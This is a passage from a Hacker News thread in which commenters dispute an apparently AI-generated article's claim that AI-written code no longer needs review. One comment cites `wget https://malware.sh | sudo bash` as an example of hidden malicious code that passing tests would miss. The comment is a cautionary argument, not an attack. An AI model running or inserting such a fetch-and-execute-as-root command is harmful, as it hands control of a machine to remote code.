191–200 of 236 posts
I guess I'll finally try Claude Code, need to get a burner SIM first though… I cannot for the life of me understand why I can just sign up for the API yet must give a mobile phone number for the product.
If you like Claude Code, then Gas Town (recent discussion [1]) will probably blow your mind. I'm just trying to get a grip on it myself. But it sounds incredible. [1] https://news.ycombinator.com/item?id=46458936
The mayor doesn't communicate to the deacon or refiner well enough. Sometimes my polecat acts like a witness so I have to restart it...
- AI generated article - Overconfident claims (which are based on solo dev) - Spending an absurd amount on an LLM subscription - No actual details, just buzzwords and generic claims If AI-hype was a person
Canadian girlfriend Ai coding strikes again.
related meme i saw today:
“bro I spent all weekend in Claude Code it’s incredible”
“oh nice, what did you build?”
“dude my setup is crazy. i’ve got all the vercel skills, plus custom hooks for every project”
“sick, what are you building?”
“my setup is so optimized, i’m using like 5 instances at once”
Earlier quoted context omitted.
the (multi) billon dollar question is when that will happen, I think, case in point: the OP is a kid in his 20s describing the history of the last 3 years or so of small scale AI Development ( https://www.linkedin.com/in/silen-naihin/details/experience/ ) How does that compare to those of us with 15-50 years of software engineering experience working on giant codebases that have years of domain rules, customers and u…
This is what people were saying about Rails 20 years ago: it wows the kids who use it to set up a CRUD website quickly but fails at anything larger-scale. They were kind of right in the sense that engineering a large complex system with Rails doesn't end up being particularly easier than with Plone or Mason or what have you. Maybe this will just be Yet Another Framework.
A substantial number of the breathless LLM hype results come, in my estimation, quicker and better as 15 min RoR tutorials. [Fire up a calculator (from a library), a pretty visualization (from a js library), add some persistence (baked in DB, webhost), customize navigation … presto! You actually built a personal application.]
Fundamental complexity, engineering, scaling gotchyas, accessibility needs, customer insanity aren’t addressed. RoR optimizes for some things, like any other optimization that’s not always a meaningful.
LLMs have undeniable utility, natural interaction is amazing, and hunting in Reddit, stackoverflow, and MSDN forums ‘manually’ isn’t a virtue… But when the VC subsidies stop and the psychoses get proper names and the right kind of egg hits the right kind of face over unreviewed code, who knows, maybe we can make a fun hype cycle called “Actual Engineering” (AE®).
Earlier quoted context omitted.
Also, what do you mean "you do not need to review the code". Why did you even start coding in the first place if this is a positive thing? Did we just stop caring about the art of programming altogether?
Surprisingly, for some people, the goal is the goal, and they don't care much about the journey.
Just completely hilarious how 6 months ago about 50% of hackernews comments were AI denialists telling everybody they were full of shit and that LLM was not useful. That group is awfully quiet nowadays. The bar has clearly moved to "eventually we won't even need to do code reviews". LLM denialists were always wrong and they should be embarrassed to share their bad model of reality and how the world works.
[flagged]
5 years? You were coding with AI in January 2021 - mid pandemic?
Can we please not fill Hacker News with this obvious rubbish?
> You no longer need to review the code. Or instruct the model at the level of files or functions. You can test behaviors instead. Maybe for a personal project but this doesn't work in a multi-dev environment with paying customers. In my experience, paying attention to architecture and the code itself results in a much more pliable application that can be evolved.
Agree. And with the comments in the thread. I'll caveat my statement, with AI ready repos . Meaning those with good documentation, good comments (ex. avoiding Chestertons fence), comprehensive interface tests, Sentry, CI/CD, etc. Established repos are harder because a) the marginal cost of something going wrong is much higher b) there's more dependencies c) this makes it harder to 'comprehensively' ensure the AI didn…
I get the feeling you're intentionally being a parody with that line.
> and ensuring everything works (verifiability) are now the most valuable skills.
Something might look like it works, and pass all the tests, but it could still be running `wget https://malware.sh | sudo bash`. Without knowing that it's there how will your tests catch it?
My example is exaggerated and in the real world it will be more subtle and less nefarious, but just as dangerous. This has already happened, OpenCode is a recent such example. It was on the front page a few days ago, you should check it out. Of course you have to review the code. Who are you trying to fool?
> We should also focus more on the derivative than our point in time.
So why are you selling it as possible in "our point in time" (are you getting paid per buzzword?). I read the quote as "Yes, I'm full of shit, but consider the possibilities and stop being a buzzkill bro".
Extremely depressing to see this happening to the craft I used to love.
>> You no longer need to review the code. Or instruct the model at the level of files or functions. You can test behaviors instead. I think this is where things will ultimately head. You generate random code, purely random in raw machine readable binary, and simply evaluate a behavior. Most random generated code will not work. some, however, will work. and within that working code, some will be far faster and this is…
Maybe, but you won't be able to test all behaviors and you won't have enough time to try a million alternatives. Just because of the number of possibilities, it'll be faster to just read the code.
> my experience from 5 years of coding with AI What AI have you been using for 5 years of coding?
Github Copilot was available in 2021, believe it or not. It was just auto-complete plus a chat window, but it seemed like a big deal at the time.